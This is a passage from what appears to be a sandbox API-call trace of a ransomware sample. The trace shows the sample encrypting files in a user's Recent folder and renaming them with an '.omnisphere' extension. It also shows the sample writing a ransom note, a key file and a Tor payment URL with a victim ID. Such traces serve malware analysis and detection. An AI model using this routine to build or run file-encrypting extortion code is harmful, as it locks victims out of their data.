pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.459] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.459] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0126.459] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e4, lpName=0x0) returned 0x288 [0126.459] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e4) returned 0x1480000 [0126.459] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669120) returned 1 [0126.460] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396a8) returned 1 [0126.460] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.462] CryptDestroyKey (hKey=0x16396a8) returned 1 [0126.462] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0126.462] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3e4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.462] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.462] GetProcessHeap () returned 0x1600000 [0126.462] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ba) returned 0x16d70f0 [0126.462] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kYulOFrPXpRI1BDR.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kyulofrpxpri1bdr.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kYulOFrPXpRI1BDR.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kyulofrpxpri1bdr.lnk.omnisphere")) returned 1 [0126.463] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kYulOFrPXpRI1BDR.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kYulOFrPXpRI1BDR.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kYulOFrPXpRI1BDR.lnk.omnisphere.id" [0126.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kYulOFrPXpRI1BDR.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kyulofrpxpri1bdr.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.463] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.464] CloseHandle (hObject=0x3c0) returned 1 [0126.464] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.465] CloseHandle (hObject=0x288) returned 1 [0126.465] SetEndOfFile (hFile=0x28c) returned 1 [0126.465] FlushFileBuffers (hFile=0x28c) returned 1 [0126.469] CloseHandle (hObject=0x28c) returned 1 [0126.469] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kYulOFrPXpRI1BDR.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.469] GetProcessHeap () returned 0x1600000 [0126.469] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16d8560 [0126.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.469] GetProcessHeap () returned 0x1600000 [0126.469] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5938 [0126.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5938, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.469] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.469] GetProcessHeap () returned 0x1600000 [0126.469] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8108 [0126.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8108, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.469] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.469] GetProcessHeap () returned 0x1600000 [0126.469] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16c0720 [0126.469] PathCombineW (in: pszDest=0x16c0720, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.469] GetProcessHeap () returned 0x1600000 [0126.469] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16cd568 [0126.469] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.470] WriteFile (in: hFile=0x28c, lpBuffer=0x16cd568*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16cd568*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.470] CloseHandle (hObject=0x28c) returned 1 [0126.470] GetProcessHeap () returned 0x1600000 [0126.470] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16d8560 | out: hHeap=0x1600000) returned 1 [0126.470] GetProcessHeap () returned 0x1600000 [0126.470] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.470] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.470] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.470] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.470] CloseHandle (hObject=0x28c) returned 1 [0126.470] GetProcessHeap () returned 0x1600000 [0126.471] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.471] GetProcessHeap () returned 0x1600000 [0126.471] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16c0668 | out: hHeap=0x1600000) returned 1 [0126.471] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f012414, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f012414, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f012414, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x398, dwReserved0=0x0, dwReserved1=0xd3, cFileName="l5P5.lnk", cAlternateFileName="")) returned 1 [0126.471] GetProcessHeap () returned 0x1600000 [0126.471] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x167c0c8 [0126.471] PathCombineW (in: pszDest=0x167c0c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="l5P5.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5P5.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5P5.lnk" [0126.471] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.471] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5P5.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\l5p5.lnk"), 